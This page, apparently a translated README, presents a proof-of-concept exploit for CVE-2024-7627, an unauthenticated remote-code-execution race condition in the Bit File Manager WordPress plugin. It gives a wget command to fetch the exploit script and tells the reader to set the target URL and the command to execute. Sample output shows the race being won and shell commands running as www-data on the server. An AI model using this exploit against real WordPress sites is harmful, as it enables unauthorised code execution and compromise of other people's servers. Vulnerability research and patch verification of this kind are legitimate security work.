
Скрипт Proof-of-Concept для плагина WordPress Bit File Manager версий 6.0 – 6.5.5, эксплуатирующий уязвимость неаутентифицированного удалённого выполнения кода через состояние гонки (CVE-2024-7627)
Этот Proof-of-Concept (PoC) скрипт предназначен для эксплуатации уязвимости неаутентифицированного удалённого выполнения кода через состояние гонки (CVE-2024-7627) в плагине Bit File Manager для WordPress версий 6.0 - 6.5.5.
Описание:
Плагин Bit File Manager для WordPress уязвим к удалённому выполнению кода в версиях с 6.0 по 6.5.5 через функцию 'checkSyntax'. Это связано с записью временного файла в общедоступный каталог перед выполнением проверки файла. Это позволяет неаутентифицированным злоумышленникам выполнять код на сервере, если администратор разрешил гостевому пользователю права на чтение. (Источник: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition)
wget https://raw.githubusercontent.com/siunam321/CVE-2024-7627-PoC/main/poc.py
file-manager должны быть уже настроены администратором.Обновите значения targetBaseUrl, fileManagerPostPath и/или commandToExecute в Python-скрипте poc.py на желаемые. Затем выполните python3 poc.py, чтобы запустить PoC-скрипт.
Пример вывода:
└> python3 poc.py
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: f3128b289e
[*] Getting a random file's hash via elFinder command "open"...
[+] Found file "wp-config-sample.php" with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA"!
[*] Editing file with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA" via elFinder command "put" and getting the edited temporary PHP file at "http://localhost/wp-content/uploads/file-managertemp.php"...
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[+] We won the race condition! Here's the PHP payload result:
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
8d3b2776e8a6